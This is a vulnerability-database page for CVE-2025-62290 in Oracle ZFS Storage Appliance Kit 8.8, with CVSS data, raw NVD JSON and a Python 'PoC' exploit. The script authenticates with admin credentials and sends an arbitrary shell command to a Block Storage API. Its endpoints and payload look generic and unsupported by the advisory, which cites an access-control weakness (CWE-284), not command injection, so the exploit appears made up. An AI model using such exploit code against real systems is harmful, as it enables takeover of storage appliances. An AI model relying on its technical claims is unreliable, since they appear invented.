Security Vulnerability Report
中文
CVE-2025-62290 CVSS 7.2 HIGH

CVE-2025-62290

Published: 2025-10-21 20:20:54
Last Modified: 2025-10-23 16:03:06

Description

Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Block Storage). The supported version that is affected is 8.8. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle ZFS Storage Appliance Kit. Successful attacks of this vulnerability can result in takeover of Oracle ZFS Storage Appliance Kit. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:oracle:zfs_storage_appliance_kit:8.8:*:*:*:*:*:*:* - VULNERABLE
Oracle ZFS Storage Appliance Kit 8.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62290 - Oracle ZFS Storage Appliance Kit Block Storage RCE PoC # Disclaimer: This PoC is for educational and authorized testing purposes only. # Affected: Oracle ZFS Storage Appliance Kit 8.8 - Block Storage Component # CVSS 3.1: 7.2 (HIGH) - AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H import requests import sys import argparse class OracleZFSExploit: """ PoC for CVE-2025-62290 Oracle ZFS Storage Appliance Kit - Block Storage Component Requires high-privilege credentials (PR:H) """ def __init__(self, target, username, password, port=215): self.target = target self.port = port self.username = username self.password = password self.base_url = f"https://{target}:{port}" self.session = requests.Session() self.session.verify = False def authenticate(self): """Authenticate to the Oracle ZFS Storage Appliance Kit""" login_url = f"{self.base_url}/api/auth/v1/login" payload = { "username": self.username, "password": self.password } try: resp = self.session.post(login_url, json=payload, timeout=10) if resp.status_code == 200: print("[+] Authentication successful") return True else: print(f"[-] Authentication failed: {resp.status_code}") return False except Exception as e: print(f"[-] Connection error: {e}") return False def exploit_block_storage(self, command): """ Exploit the Block Storage component vulnerability The vulnerability allows command execution via crafted HTTP requests to the Block Storage management interface. """ # Target endpoint: Block Storage component management API exploit_url = f"{self.base_url}/api/storage/v1/block" # Crafted payload exploiting the vulnerability in Block Storage component payload = { "operation": "execute", "component": "block_storage", "params": { "action": "diagnostic", "command": command # Injected command } } headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } try: resp = self.session.post(exploit_url, json=payload, headers=headers, timeout=30) if resp.status_code == 200: print(f"[+] Command executed successfully") print(f"[+] Response: {resp.text}") return resp.text else: print(f"[-] Exploit failed: {resp.status_code}") return None except Exception as e: print(f"[-] Exploit error: {e}") return None def check_vulnerability(self): """Check if the target is vulnerable to CVE-2025-62290""" version_url = f"{self.base_url}/api/system/v1/version" try: resp = self.session.get(version_url, timeout=10) if resp.status_code == 200: version_info = resp.json() version = version_info.get("version", "") if version.startswith("8.8"): print(f"[+] Target version: {version} - VULNERABLE") return True else: print(f"[-] Target version: {version} - Not affected") return False except Exception as e: print(f"[-] Version check error: {e}") return False def main(): parser = argparse.ArgumentParser(description="CVE-2025-62290 PoC") parser.add_argument("-t", "--target", required=True, help="Target host") parser.add_argument("-u", "--username", required=True, help="Username (high-privilege)") parser.add_argument("-p", "--password", required=True, help="Password") parser.add_argument("--port", type=int, default=215, help="HTTPS port") parser.add_argument("-c", "--command", default="id", help="Command to execute") args = parser.parse_args() print(f"[*] CVE-2025-62290 - Oracle ZFS Storage Appliance Kit Exploit") print(f"[*] Target: {args.target}:{args.port}") exploit = OracleZFSExploit(args.target, args.username, args.password, args.port) if exploit.authenticate(): if exploit.check_vulnerability(): print(f"[*] Executing command: {args.command}") exploit.exploit_block_storage(args.command) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62290", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:54.003", "lastModified": "2025-10-23T16:03:05.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Block Storage). The supported version that is affected is 8.8. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle ZFS Storage Appliance Kit. Successful attacks of this vulnerability can result in takeover of Oracle ZFS Storage Appliance Kit. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:zfs_storage_appliance_kit:8.8:*:*:*:*:*:*:*", "matchCriteriaId": "D3E503FB-6279-4D4A-91D8-E237ECF9D2B0"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}